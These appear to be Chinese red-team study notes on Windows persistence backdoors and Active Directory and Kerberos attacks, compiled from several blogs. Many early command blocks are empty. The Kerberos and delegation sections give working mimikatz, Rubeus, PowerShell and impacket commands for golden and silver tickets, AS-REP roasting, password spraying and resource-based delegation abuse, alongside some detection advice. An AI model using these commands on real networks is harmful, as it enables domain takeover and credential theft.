通过创建计划任务,让目标主机在特定的时间点或规定的周期内重复运行测试人员预先准备的后门程序
1 | |
如果要以SYSTEM权限运行计划任务,就需要有管理员级别的权限。
创建一个名为Backdoor的计划任务,每60秒运行一次:
1 | |
在“计算机管理”中有“计划任务程序库”,其中存储了计算机上所有的计划任务
为了增强隐蔽性,在创建计划任务后门时应当遵守存储规范:执行:
1 | |
将在\Microsoft\Windows\AppTask路径下创建一个名为“AppRun”的计划任务后门
启动项/注册表键后门
可以通过将后门程序添加到系统启动文件夹或通过注册表运行键引用来进行权限持久化。
系统启动文件夹
Windows有两种常见的启动文件夹:
1 | |
运行键(Run Keys)
Windows有很多注册表项可以用来设置在系统启动或用户登录时运行指定的程序或加载特定的DLL文件。当用户登录时,系统会依次检查位于注册表运行键中的程序,并在用户登录的上下文中启用。Windows默认创建以下运行键,如果修改HKEY_LOCAL_MACHINE下的运行键,需要拥有管理员权限的权限。
1 | |
执行以下命令,将在注册表运行键中添加一个名为“Backdoor”的键,并将该键值指向后门程序的绝对路径
1 | |
当用户重新登录时,目标主机将重新上线
Winlogon Helper
Winlogon是Windows系统的组件,用于处理各种与用户相关的行为。注册表中的一些键值定义了在Windows登录期间会启动哪些进程。测试人员可以滥用此类注册表键值,使Winlogon在用户登录时执行恶意程序。
1 | |
执行:
1 | |
然后在用户登录时启动,能够上线。
注意:在滥用Userinit和Shell的键时要保留原有程序,将待启动的后门程序添加到原有程序后面,用”,”分隔,并且,后门程序需要被上传至C:\Windows\System32目录
Port Monitors
打印后台处理服务(Print Spooler)负责管理Windows系统的的打印工作
攻击流程:
① 通过msf生成64位的DLL
② 将DLL文件上传到C:\Windows\System32\目录,并执行命令,通过编辑注册表安装一个端口监视器
1 | |
当重启时,Print Spooler服务在启动时会读取Monitors注册表项的所有子键,并以SYSTEM权限加载Driver键值所指定的DLL文件。
事件触发执行
利用WMI事件订阅
需要拥有管理员权限
1.手动利用
下面通过powershell部署一个事件订阅,可以在每次系统启动后的5分钟内执行后门程序:
1 | |
执行上面命令后,目标主机将在启动后的5分钟内重新上线
2.辅助工具
前面曾通过Sharp-WMIEvent在远程主机上执行系统命令,该工具同样包含权限持久化功能。
在目标主机上执行以下命令,运行Sharp-WMIEvent:
1 | |
这将在目标主机上部署一个随机命名的永久事件订阅,每当用户登录时都将执行恶意程序。
3.MSF
msf框架内置了一个通过WMI事件订阅在目标系统上实现持久化的模块,即exploit\windows\local\wmi_persistence,可用于特定事件触发时在系统上执行任意的攻击载荷
1 | |
利用系统辅助功能
Windows系统包含了很多供用户通过组合键启动时的辅助功能,如下:
| 程序 | 功能 | 组合 |
|---|---|---|
| sethc.exe | 粘滞键 | 连按5次shift键 |
| magnify.exe | 放大镜 | win + “+” |
| utilman.exe | 实用程序 | win + U |
| osk.exe | 屏幕键盘 | win + Ctrl + O |
| displayswitch.exe | 屏幕扩展 | win + P |
| atbroker.exe | 辅助管理工具 | |
| narrator.exe | 讲述者 | win + ctrl + enter |
其中,最常用的是sethc.exe,测试人员将cmd.exe伪装成sethc.exe,然后在远程桌面登录屏幕连按5次shift键,即可获得一个命令行窗口,实现未授权访问,需要有管理员权限。
手动利用
为了对C:\Windows\System32目录下的文件拥有修改和写入权限,需要先通过令牌窃取提升至TrustedInstaller权限
获得TrustedInstaller权限后,执行以下命令即可:
1 | |
此时,在目标主机的远程登录屏幕中连按5次shift键,即可获取一个命令行窗口,并且为SYSTEM权限。
RDP劫持
通过粘滞键等系统辅助功能创建的后门以SYSTEM权限运行,测试人员可以在获得的命令行中执行RDP劫持
IFEO注入
IFEO(Image File Execution Options)是Windows的一个注册表项,路径为HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options。在Windows NT系统时,IFEO原本是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。IFEO使开发人员能够将调试器附加到应用程序。
Debugger
当用户启动计算机的程序后,系统会在注册表的IEFO中查询所有的程序子键,如果存在与该程序名称相同的子键,就读取对应子键的“Debugger”键值。如果该键值未被设置,那就不做处理,否则就直接用该键值所指定的程序路径来代替原始的程序。
通过编辑“Debugger”键,测试人员可以通过修改注册表的方式创建粘滞键后门,而不需获取TrustedInstaller权限。
在靶机上执行:
1 | |
连按5次shift即可弹出命令行窗口
GlobalFlag
IFEO还可以在指定程序默认退出时启动任意监控程序,需要通过设置:
1 | |
当用户打开记事本(notepad.exe)时,程序正常启动。当用户关闭记事本或相关进程被杀死后,将在WerFault进程中创建子进程以运行后门程序reverse.exe
利用屏幕保护程序
不需要管理员权限,标准用户权限即可
屏幕保护是Windows系统的一项功能,可以在用户一段时间不活动后播放屏幕消息或图形动画,屏幕保护程序由.scr扩展名的可执行文件组成。注册表项HKEY_CURRENT\Control Panel\Desktop下存储了用来设置屏幕保护程序的键值,如下表:
| 键名 | 说明 |
|---|---|
| SCRNSAVE.EXE | 设置屏幕保护程序路径,指向.scr可执行文件 |
| ScreenSaveActive | 设置是否启用,1为启用 |
| ScreenSaverIsSecure | 设置是否需要密码解锁,设置0表示不需要密码 |
| ScreenSaveTimeOut | 设置执行屏幕保护之前用户不活动的超时 |
可以修改屏幕保护程序的执行路径(即scrnsave.exe键的值),当触发屏幕保护时执行自定义的后门程序
1 | |
一段时间不活动后,即可上线msf。
注意:除了ScreenSaveActive的值为1外,其他三个键都不存在,所以需要手动创建,并且,触发的恶意程序只能在当前用户的上下文中运行
DLL劫持
https://yanghaoi.github.io/2021/11/18/dll-jie-chi-lou-dong/#toc-heading-26
系统程序DLL劫持
利用一些会随着系统启动或用户登录后启动的程序进行权限维持。对于C盘系统目录下的操作,都需要管理员甚至更高权限。对于随用户启动的程序,返回的都是用户权限,对于权限维持来说,已经是够用了。
msdtc.exe
msdtc.exe是微软分布式传输协调程序,在域内主机上一般是作为服务自启动的,需要管理员权限操作:
msdtc会加载注册表位置DLL文件:
1 | |
这里的oci.dll在系统目录下并不存在,所以可以在msdtc.exe的相对目录中写入oci.dll,利用msdtc.exe加载。利用方式也非常简单,可以直接将beacon.dll改名为oci.dll放入C:\windows\system32\目录下直接加载即可(dll要与msdtc.exe相同位数):
有些版本MSDTC服务自启动为手动,将其改为自动即可
1 | |
劫持应用程序
常见域后门技术
当获取域控权限后,需要使用域后门技术进行权限维持。
创建Skeleton key域后门
Skeleton key即“万能钥匙”。通过在域控上安装这个Skeleton key,所有域用户账户都可以使用一个相同的密码进行认证,同时保持原有密码仍然有效,该技术通过注入lsass.exe进程实现,创建的Skeleton仅保留在内存中,如果域控重启,它就会失效。需要域管理员级别的权限。
常规利用
照样上传mimikatz,执行:
1 | |
执行后,将为所有域账户设置一个相同的密码“mimikatz”,从而可以成功登录域控制器
缓解措施
微软在2014年添加了LSA(local security authority,本地安全机构)报错策略,用来防止对lsass.exe进程的内存读取和代码注入:
1 | |
重启系统后,mimikatz的相关操作都会失败
不过mimikatz可以绕过:
1 | |
创建DSRM域后门
DSRM(Directory Services Restore Restore Mode,目录服务还原模式)是域控制器的安全模式启动选项,用于使服务器脱机,以进行紧急维护。
在域控制器上,DSRM账户实际上是本地管理员账户,并且该账户的密码在创建后几乎很少使用。通过在域控上运行NTDSUtil,可以为DSRM账户修改密码。
1 | |
可以通过修改DSRM账户的密码,以维持对域控制器权限。
需要:① win2008及以上 ② 域控制管理员
① 读取SAM文件,获取DSRM账户的密码
1 | |
② 修改DSRM模式的登录模式,以允许该账户的远程登录。可以通过编辑DsrmAdminLogonBehavior键值来实现。登录模式:
0 : 默认值,域控制器重启并进入DSRM模式,才可以使用DSRM管理员账户
1 : 只有本地AD,DS服务停止时,才可以使用DSRM管理员账号登录域控制器
2:任何情况下都可以使用DSRM管理员账号登录域管理器
故:
1 | |
然后使用DSRM账户对域控进行哈希传递并成功获取域控权限。(执行psexec脚本进行攻击)
SID History的利用
SID 和SID History
SID History是一个支持域迁移方案的属性,使得一个账户的访问权限可以有效地克隆岛另一个账户,在域迁移中常常使用。
利用方法
在实战中,测试人员可以将域管理员的SID添加到其他域用户的SID History属性中,以此建立一个隐蔽的域后门。
① 传mimikatz,并执行:
1 | |
② 查看Hacker用户的属性和Administrator用户属性
1 | |
可以发现其SID History属性值已经与Administrator用户的SID相同,这说明Hacker用户将继承Administrator用户的所有权限。
③ 通过Hacker用户连接到域控,执行“whoami /priv”,发现该用户拥有域管的所有特权。
1 | |
利用AdminSDHolder打造域后门
1.AdminSDHolder
AdminSDHolder是一个特殊的Active Directory容器对象,位于Domain NC的System容器下
1 | |
2.利用方法
需要有域管理员级别权限
测试人员可以篡改AdminSDHolder容器的ACL配置。
1 | |
执行成功后,Marcus用户拥有对AdminSDHolder容器的完全控制权限,可以向域管理组中添加用户
如果清除Marcus用户对AdminSDHolder的完全控制权限:
1 | |
HOOK PasswordChangeNotify
PasswordChangeNotify是一个Windows API,当重置密码时,Windows会检查新密码是否符合复杂性要求,如果密码符合要求,LSA会调用PasswordChangeNotify函数在系统中同步密码。
此时测试人员可以利用HOOK技术劫持PasswordChangeNotify函数获取新密码
需要用到HookPasswordChange.dll(Github),Invoke-ReflectivePEInjection.ps1(kali powersploit项目CodeExecution目录下)
1 | |
网络管理员修改密码后,新密码会被储存在C:\Windows\Temp目录下,也可通过修改源码将密码传回远程服务器
DCSync攻击技术
DCSync 攻击技术是一种针对 Windows 域控制器的攻击方法,攻击者可以通过模拟域控制器的行为,获取用户账户的密码哈希和其他敏感信息。这种攻击主要利用了 Active Directory 的复制功能,允许攻击者在网络中使用权限较低的账户来获取高权限的信息。
默认情况下,只有Administrator,Domain Controllers和Enterprise DomainAdmins组内用户和域控制器和域控制器的机器账户有执行DCSync操作的权限
利用DCSync导出域内哈希
1.mimikatz下的利用
1 | |
域管理员的账户哈希值可以通过哈希传递攻击获取域控制器权限
Krbtgt用户的哈希值可以用来制作黄金票据,实现票据传递攻击
2.Impacket下的利用
Impacket项目中的secretsdump.py脚本支持通过DCSync技术导出域控中用户哈希。
1 | |
利用DCSync维持域内权限
在获得域控权限后,可以手动位域内标准用户赋予DCSync操作的权限,从而实现隐蔽的域后门。只需要为普通域用户添加两条扩展权限即可:
| CN | displayName |
|---|---|
| DS-Replication-Get-Changes | Replicating Directory Changes |
| DS-Replication-Get-Changes-All | Replicating Directory Changes All |
可以通过PowerView.ps1实现:
1 | |
为域用户Marcus添加DC-Mrarcus
清除域用户DCSync权限消除:
1 | |
DCShadow
DCShodow同样滥用了域控之间的DRS数据同步机制,但是将DCSync的攻击思路反转,通过创建恶意的域控,利用域控之间的数据同步复制,将预先设定的对象或对象属性注入正在运行的合法域控,以此来创建域后门或获取各种类型的的非法访问渠道。
Windows通过RID来区分用户账户和组,常见的:
| 组 | RID | 组 | RID |
|---|---|---|---|
| Administrator | 500 | Domain Guests | 514 |
| Guest | 501 | Domain Computers | 515 |
| Krbtgt | 502 | Domain Controllers | 516 |
| Domain Admins | 512 | Schema Admins | 518 |
| Domain Users | 513 | Enterprise Admins | 519 |
① 向域内任意一台主机上传mimikatz,以SYSTEM权限打开命令行,以拥有适当的权限来创建恶意域控
1 | |
② 保持第一个窗口不变,新开一个域管理员权限的命令行窗口:
1 | |
Kerberos攻击专题
https://www.freebuf.com/articles/network/384457.html
Kerberos认证基础
对于Kerberos认证,我们简单理解的话可以分为三个部分:
1 | |
对这三部分的具体解释如下
1、Client:需要访问服务的客户端,Kerberos客户端是需要访问资源的用户进行操作的应用程序,当Kerberos客户端在进行访问资源之前都会进行请求身份认证。
2、Server:提供访问服务的服务端,Kerberos服务端是提供被访问和请求的服务,客户端都有唯一的SPN(服务主体名称)。
3、KDC:密钥分发中心,KDC是一种提供认证服务的网络服务,其服务账户为krbtgt,KDC会负责颁发加密令牌(Ticket),并且对客户端的身份进行验证。
KDC作为活动目录域服务的一部分运行在每个域控制器DC上。
在KDC中又需要分为两个部分:Authentication Server(AS,身份验证服务)和Ticket Granting Server(TGS,票据授予服务)。
(1)Authentication Server作为认证服务器是Kerberos分发中心(KDC)的核心组件,其主要作用是验证用户的身份,在Windows Active Directory域环境中,Authentication Server通常是由域控制器DC角色来实现的。
(2)Ticket Granting Server作为票据授权服务器也是Kerberos分发中心(KDC)的核心组件,其主要负责接收客户端的请求并且用于访问特定服务器的服务票据Service Ticket(ST),在Windows Active Directory域环境中,Ticket Granting Server通常也是由域控制器DC角色来实现的。
Kerberos会使用TCP/UDP的88端口进行身份验证和票据授予,使用TCP/UDP的464端口号进行Kerberos KpassWd(密码重置)。

在讲解Kerberos认证之前,我们还需要介绍一个账户,即krbtgt账户。
Krbtgt账户是Windows中的一个内置账户,在创建活动目录时系统自动创建,其作用是KDC的服务账户,每个域都有一个唯一的Krbtgt账户,与域名称相同,并存储在Active Directory数据库中。krbtgt账户的密码是由域控制器DC系统自动随机生成的,在AD域中以HTLM hash的形式存储,可以简单理解为一个不能登录的账户。

Kerberos认证流程

第一阶段:获取 TGT(身份认证)
步骤1 - AS-REQ (认证请求)
- Client → KDC (AS 服务)
- 发送内容:
- 用户身份(用户名/UPN)
- 请求的服务 SPN(通常为 krbtgt/domain)
- 时间戳(防止重放)
- 加密类型支持列表
- 明文发送,不含密码
步骤2 - AS-REP (认证响应)
- KDC (AS) → Client
- KDC 查询数据库验证用户是否存在
- 返回两部分内容:
- TGT(票据授予凭证):包含PAC(PAC中包含Client相关权限信息),用户身份、会话密钥、有效期等,用 KDC 密钥(krbtgt 账户密码 hash(NTLM-hash))加密,只有KDC能制作和查看PAC
- Session Key:用用户密码 hash 加密的会话密钥
- 只有知道密码的用户才能解密 Session Key
第二阶段:获取服务票据
步骤3 - TGS-REQ (票据请求)
- Client → KDC (TGS 服务)
- 发送内容:
- TGT(之前获取的)
- 要访问的目标服务 SPN
- Authenticator:包含用户身份、时间戳,用 Session Key 加密
- KDC 用自己的密钥解密 TGT,获取 Session Key,再解密 Authenticator 验证身份
步骤4 - TGS-REP (票据响应)
- KDC (TGS) → Client
- 返回两部分内容:
- Service Ticket(服务票据 TGS票据,简称ST):包含用户身份、Client-Server Session Key、有效期,用目标服务账户的密码 hash 加密,并带上PAC
- Client-Server Session Key:用之前 TGT 中的 Session Key 加密
- Service Ticket 客户端无法解密
- 不论用户是否有访问权限,只要TGT正确,就返回ST
第三阶段:访问服务
步骤5 - AP-REQ (应用请求)
- Client → Server
- 发送内容:
- Service Ticket
- Authenticator:包含用户身份、时间戳,用 Client-Server Session Key 加密
- Server 用自己的密钥解密 Service Ticket,获取 Session Key,再解密 Authenticator 验证身份
步骤6 - AP-REP (应用响应)(可选,用于双向认证)
- Server → Client
- 解密ST,若解密正确,就会将其中的PAC给KDC解密,KDC由此判断Client是否有访问服务的权限
- Server 将 Authenticator 中的时间戳加 1,用 Session Key 加密后返回
- 客户端解密验证时间戳,确认服务端身份
- 没有设置PAC就不会去KDC求证
安全特性
- 密码从不在网络传输
- KDC 不保存 Session Key(只有 Client 和 Server 有)
- 时间同步关键(默认容忍5分钟偏差,防止重放攻击)
- 支持双向认证(客户端也能验证服务端身份)
PAC (Privilege Attribute Certificate)
- 性质:授权数据结构
- 内容:
- 用户 SID
- 组 memberships(组 SID 列表)
- 用户权限
- 其他安全上下文信息
- 位置:嵌入在票据的 authorization-data 字段中
- 用途:服务端根据 PAC 决定用户能做什么(授权决策)
- 签名:PAC 由 KDC 签名,服务端可验证其真实性
- 白银票据是否成功关键取决于是否设置PAC
Kerberos攻击分类
总结为票据传递攻击(PTT)

AS_REQ&AS_REP阶段攻击
https://www.cnblogs.com/yuy0ung/articles/18667494
AS-REQ阶段
域内用户名枚举
AS-REQ中的cname表示请求的用户名,用户名是否存在会影响返回包的内容,因此可以进行域内用户名枚举
方法
可以使用kerbrute进行枚举:
使用编译好的工具,我们能够在一台不在域内(即域外)的机器上和DC进行通信的机器上枚举域内用户:
使用此工具需要主机能够与DC通信,需要自己制作用户名字典利用工具进行枚举
1 | |

当然还有python脚本https://github.com/3gstudent/pyKerbrute
msf上也有kerberos_enumusers模块
检测与防御
- 流量:检测同一IP短时间内是否发送了大量的AS-REQ包
- 日志:默认情况下,对于不存在的用户名发起的AS-REQ包不会有任何记录(记录需要更改组策略),所以日志层面不好检测
密码喷洒
而用户名存在时,密码的正确与否也会影响返回包,这里虽然可以进行密码爆破,但连续针对同一账户的密码猜测很有可能会导致账户被锁定,因此有了密码喷洒喷洒攻击:即在猜解密码时,使用每个密码去尝试所有用户名
方法
该攻击同样可以在域外进行,但并不支持kerberos
可以使用kerbrute进行喷洒:
1 | |

当然,如果域没有密码锁定策略,可以直接对单个用户进行爆破:
1 | |
检测与防御
- 流量:检测同一IP短时间内是否发送了大量的AS-REQ包
- 日志:登录成功会产生日志4768,且结果代码为0x0,登录失败日志不做记录
AS-REP阶段
AS-REP Roasting
https://cloud.tencent.com/developer/article/1937051
对于域用户,如果设置了选项”不要求kerberos域身份验证”,此时向域控制器的88端口发送AS_REQ请求,对收到的AS_REP请求enc-part的cipher进行组合解密就能获得用户的明文。(enc-part底下的cipher,这部分是使用用户hash加密session-key)
]
方法
初始条件:找到配置了 “Do not require Kerberos preauthentication” 的用户账户。
判断方法
核心标志:用户账户的 userAccountControl 属性包含 DONT_REQ_PREAUTH 标志(值为 0x400000)
枚举方法
方法1:PowerView(域内主机)
查找不需要预认证的用户
Get-DomainUser -PreAuthNotRequired
方法2:Active Directory PowerShell 模块
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
方法3:LDAP 查询
Get-DomainUser -LDAPFilter
“(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))”方法4:Rubeus(域内/域外均可)
无凭据时,尝试 AS-REP Roasting
Rubeus.exe asreproast
指定用户
Rubeus.exe asreproast /user:targetuser /domain:god.com /dc:192.168.52.138
方法5:impacket(域外)
impacket-GetNPUsers -dc-ip 192.168.52.138 god.com/ -users.txt users.txt
关键点
│ LDAP 枚举方式 │ 需要域内普通用户权限 │
│ 直接 AS-REP Roasting │ 无需凭据,但需要知道目标用户名 │如果没有任何凭据,需要先通过其他方式(如 Kerberos 用户枚举)获取潜在用户名列表,然后逐个尝试请求 AS-REP,观察
KDC 是否直接返回。
总结:利用 LDAP 查询 userAccountControl 属性的 DONT_REQ_PREAUTH 标志来判断,需要域内普通用户权限。
获取Hash
可以使用Rbeus自动搜索满足条件的用户,并获取login session key(从AS-REP请求字段中获取):
1
Rubeus.exe asreproast /format:john /outfile:hash.txt再使用john进行离线破解即可:
1
john --wordlist=/opt/pass.txt hash.txt
检测与防御
- 检测域中是否设置了“不要求kerberos域身份验证”,如果存在及时关闭
- 日志:重点关注事件ID为4768且预身份验证类型为“不要求kerberos域身份验证”属性用户发起的Kerberos认证
黄金票据攻击
在AS-REP阶段,返回的TGT的加密部分是由krbtgt用户的密钥加密的,因此,如果我们获得了krbtgt的密钥,我们就可以自己制作一个TGT,该票据被称为黄金票据
攻击需要的信息:域名、域sid、krbtgt的HTLM hash
在DC运行mimikatz:

得到krbtgt的hash之后,先使用域成员主机win10尝试访问DC的CIFS服务,发现不可访问:
1
dir \\DC01\c$
利用mimikatz生成黄金票据:
1
kerberos::golden /admin:Administrator /domain:yuy0ung.com /sid: S-1-5-21-593678850-2817278497-901338050 /krbtgt:2b88afb2409dbc10ea5be4f35e497639 /ticket:ticket.kirbi再导入:
1
kerberos::ptt ticket.kirbi
再次访问CIFS服务:

可以看见成功访问了
成功原因
- 获取到krbtgt用户密码的hash值后直接伪造了TGT,可以不设置PAC
- 后续经过认证流程第二阶段获取到合法ST
- 第三阶段使用ST请求服务顺利进行,没有PAC不需要服务端验证用户身份
- 顺利访问服务
TGS_REQ & TGS_REP 阶段攻击
TGS-REQ阶段
kerberoasting攻击
ST是用服务的密钥加密,因此,如果我们能获取到ST,就可以尝试对ST进行破解,得到服务的密钥,造成了Kerberoasting攻击
还有一个原因是当用户向KDC发起TGS-REQ时,不论用户是否有服务的访问权限,只要TGT正确,KDC都会返回ST
步骤
- 提供正常域用户密码进行认证,获得TGT
- 攻击者使用TGT请求指定SPN的ST
- KDC在验证后返回服务hash加密的ST
- 离线破解ST,爆破出服务的明文密码
我们需要爆破的是ticket中的enc_part,这里直接使用工具来提取enc_part
自动实现工具,不需要mimikatz,普通用户权限即可:https://github.com/EmpireProject/Empire/commit/6ee7e036607a62b0192daed46d3711afc65c3921
提取高权限用户ID:
1 | |
将得到的hash值丢去hashcat进行破解,有概率得到明文密码:
1 | |
检测与防御
- 确保服务账户为强密码,并定期修改
- kerberoasting能成功,很大的原因在于KDC返回的ST是使用RC4_HMAC_MD5加密的,能够比较简单的进行加密,如果使用AES256_HMAC方式对kerberos票据进行加密,即使获取了ST也难以解密,但是这种加密存在一些兼容性问题
- 很多服务在域中被分配了过高的权限,导致破解了该服务的密码后能够迅速实现权限提升,所以针对最好采取最小化权限原则
- 对于日志审计,重点关注事件ID为4769(请求kerberos服务票据操作)的日志,如果该类日志过多,可以从中筛选票据加密类型为0x17(RC4-HMAC)的日志
- 定期检测域内危险的SPN可以使用工具zbang
白银票据攻击
https://www.cnblogs.com/backlion/p/8119013.html
白银票据(Silver Tickets)是伪造Kerberos票证授予服务(TGS)的票也称为服务票据。如下图所示,与域控制器没有AS-REQ 和 AS-REP(步骤1和2),也没有TGS-REQ / TGS-REP(步骤3和4)通信。由于银票是伪造的TGS,所以没有与域控制器通信。
白银票据的特点
1.白银票据是一个有效的票据授予服务(TGS)Kerberos票据,因为Kerberos验证服务运行的每台服务器都对服务主体名称的服务帐户进行加密和签名。
2.黄金票据是伪造TGT并且有效的获得任何Kerberos服务,而白银票据是伪造TGS。这意味着白银票据仅限于特定服务器上的任何服务。
3.大多数服务不验证PAC(通过将PAC校验和发送到域控制器进行PAC验证),因此使用服务帐户密码哈希生成的有效TGS可以完全伪造PAC
4.攻击者需要服务帐户密码哈希值
5.TGS是伪造的,所以没有和TGT通信,意味着DC从验证过。
6.任何事件日志都在目标服务器上。
创建白银票据
访问域控上“cifs”服务实列
首先需要获得如下信息:
/domain
/sid
/target:目标服务器的域名全称,此处为域控的全称
/service:目标服务器上面的kerberos服务,此处为cifs
/rc4:计算机账户的NTLM hash,域控主机的计算机账户
/user:要伪造的用户名,此处可用silver测试
在域控上执行如下命令来获取域控主机的本地管理员账户hash
mimikatz log “sekurlsa::logonpasswords”

注:
此处要找到计算机账户,也就是Username : WIN-8VVLRPIAJB0$的NTLM hash,如果是其他账户,那么会失败,也就是需要共享服务账号。
整理以上获得的信息如下:
/domain:test.local
/sid:S-1-5-21-4155807533-921486164-2767329826
/target:WIN-8VVLRPIAJB0.test.local
/service:cifs
/rc4:d5304f9ea69523479560ca4ebb5a2155
/user:silver
使用mimikatz执行如下命令导入Silver Ticket
1 | |

成功导入后可以成功访问域控上的文件共享
委派攻击
https://zhuanlan.zhihu.com/p/476094695
非约束委派攻击
服务账户可以获取被委派用户的TGT,并将TGT缓存到lsass进程中,进而服务账户可以用该TGT模拟该用户访问任意服务
非约束性委派需要的SeEnableDelegationPrivilege特权默认仅授予域管理员和企业管理员
大致流程:

如上图,从攻击者角度来看,如果控制了服务1,那么当管理员访问了服务1,便可以在服务1上获取管理员TGT,以此访问任意服务包括域控
可以使用adfind在域内主机查找非约束性委派用户:
1 | |
如果域管访问过服务直接就能拿到凭据:
1 | |
但上面的方法很局限,必须让管理员访问指定服务
特定情况下可以利用Spooler打印机服务让域控主动连接,即强迫运行打印服务(Print Spooler)的主机向目标主机发起 Kerberos 或 NTLM 认证请求
域成员主机上,以管理员权限启动Rubeus监听:
1
Rubeus.exe monitor /interval:1 /filteruser:DC01$利用SpoolSample(详见github)强制DC对本机进行认证,即可抓取到TGT
导入TGT:
1
Rubeus.exe ptt /ticket:base64利用mimikatz进行dcsync即可获取hash,制作黄金票据接管域控
这里获取的TGT实际上是DC的机器账户,机器账户没有访问CIFS的权限,但是在LDAP中会被当做域控,可以尝试dcsync
当然也可以直接mimikatz导出票据
约束性委派
由于非约束性委派的不安全性,微软发布了约束性委派,对kerberos引入S4U
对于约束性委派,服务账户只能获取该用户对指定服务的ST,从而只能模拟该用户访问特定的服务
步骤:

这里,约束委派的前置条件是服务自身需要通过KDC认证的TGT
并且S4U2Self必须在具有SPN的账户上操作
攻击角度上看,如果获取了服务1的权限,就可以伪造S4U先请求自身的ST,利用此ST便可以伪造任意用户请求来获取服务2的ST
adfind寻找约束性委派主机:
1
AdFind.exe -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto以client02对DC01的CIFS服务存在约束委派为例
在知道服务用户hash的情况下,使用kekeo请求client02的TGT:
1
tgt::ask /user:client02 /domain:yuy0ung.com /NTLM:<服务hash> /ticket:s4u.kirbi伪造S4U请求,以administrator权限访问受委派的CIFS服务:
1
tgs:: s4u /tgt:TGT_client02@YUY0UNG.COM_krbtgt~yuy0ung.com@YUY0UNG.COM.kirbi /user:Administrator/service:cifs/dc01.yuy0ung.com利用mimikatz导入S4U2proxy阶段生成的ST即可访问CTFS服务
当然还可以利用Rubeus更方便或使用impacket套件能直接获得shell
基于资源的约束性委派
不需要域管理员设置,而是把设置属性的权限赋予了机器自身
基于资源的约束委派,不需要传统约束委派的高配置权限(SeEnableDelegation权限),如果我们有服务账户1,只需要具备服务账户2的ldap权限,服务1就能控制服务2,这一步需要配置服务2的MSDS-AllowedToActOnBehalfOfOtherIdentity指向服务1的sid
基于资源的约束性委S4U2self阶段的ST是不可转发的
从攻击视角来看:
- 有一个服务账户1/机器账户(把域内机器提权到SYSTEM相当于有了一个账户),如果我们只有普通的域内用户,可以滥用MachineAccountQuota。
- 获取服务账户2的LDAP权限
- 配置服务1对服务2的基于资源的约束委派,对服务2添加sid的指向
- 发起一个服务1到服务2的正常约束委派流程,从而访问服务2
那么首先是找到可修改msDS-AllowedToActOnBehalfOfOtherIdentity的用户
已知机器账户,找到使其加入域中的用户账户,这个用户账户就具备修改msDS-AllowedToActOnBehalfOfOtherIdentity的权限:
1 | |
由用户查询其加入域中的机器
已知用户查找到通过该用户加入域中的机器
1 | |
攻击:
powermad创建用户
1
2import-moduel powermad.ps1
New-MachineAccount -MachineAccount testv -Password $(ConvertTo-SecureString "!qaz@WSX" -AsPlainText -Force)为目标主机添加资源委派,指向新建机器账户的sid:
1
2
3
4
5
6
7
8
9#查询该机器账户的sid,使用powerview
Get-NetComputer testv -Properties objectsid
objectsid
---------
S-1-5-21-754643614-3937478331-2139222398-1122
#配置testv到PC的基于资源的约束委派,即修改PC的属性指向testv的sid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-754643614-3937478331-2139222398-1122)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer PC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
#查询一下是否添加成功
Get-DomainComputer PC -Properties msds-allowedtoactonbehalfofotheridentity利用rubeus申请票据:
1
2
3
4
5# 通过Rubeus申请机器账户testv$的TGT
Rubeus.exe asktgt /user:testv$ /password:!qaz@WSX /domain:hack.com /dc:DC.hack.com /nowrap /outfile:testv.kirbi
# 使用S4U2Self协议申请TGS并且使用S4U2Proxy协议请求cifs服务票据ST,注入内存中
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/PC.hack.com /dc:DC.hack.com /nowrap /ptt /ticket:your-ticket当然也可以使用impacket:
1
2
3
4
5
6
7
8
9# 使用getST.py申请票据
python3 getST.py hack.com/testv$:\!qaz@WSX -spn cifs/PC.hack.com -impersonate administrator -dc-ip <ip>
# 导入票据
export KRB5CCNAME=administrator.ccache
# 直接登录
python3 wmiexec.py -k PC.hack.com -no-pass -dc-ip <ip>
python3 psexec.py -k PC.hack.com -no-pass -dc-ip <ip>此时能够访问cifs服务了,可以尝试使用psexec进行连接获取高权限shell
约束委派和基于资源的约束委派的区别
| 特性 | 约束委派 (KCD) | 基于资源的约束委派 (RBCD) |
|---|---|---|
| 配置位置 | 服务账户(ServiceA)的 msDS-AllowedToDelegateTo | 目标资源(ServiceB)的 msDS-AllowedToActOnBehalfOfOtherIdentity |
| 配置者 | 需要域管理员权限 | 资源所有者即可配置 |
| 控制方 | 域管理员控制 | 资源所有者控制 |
| 前端设置 | 需要设置 TrustedToAuthForDelegation | 不需要 |
| 支持 | Windows 2003+ | Windows 2012+ |
约束委派 (KCD)
服务A的属性:
msDS-AllowedToDelegateTo = 服务B的SPN
流程:
- 用户访问服务A
- 服务A 以用户身份向 KDC 请求服务B的票据
- KDC 检查服务A是否被允许委派到服务B
- 返回服务B的票据
配置要求:
- 域管理员在服务A账户上设置
- 需要设置 TrustedToAuthForDelegation
基于资源的约束委派 (RBCD)
服务B的属性:
msDS-AllowedToActOnBehalfOfOtherIdentity = 服务A的SID
流程:
- 用户访问服务A
- 服务A 以用户身份向 KDC 请求服务B的票据
- KDC 检查服务B是否允许服务A委派访问
- 返回服务B的票据
配置要求:
- 资源所有者在服务B上设置
- 不需要域管理员权限
- 资源所有者有 Write 权限即可
简单理解
| 类型 | 比喻 |
|---|---|
| KCD | 总部批准分店A可以代表客户去分店B |
| RBCD | 分店B自己决定允许分店A代表客户来访问 |
攻击场景
| 场景 | 适用 | |
|---|---|---|
| 已控制服务账户,有 SPN | KCD + S4U2Self + S4U2Proxy | |
| 已控制计算机账户,可写目标资源 | RBCD 攻击 | |
| 目标机器有 Write 权限 | RBCD 攻击 |
查询命令
约束委派:
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
基于资源的约束委派:
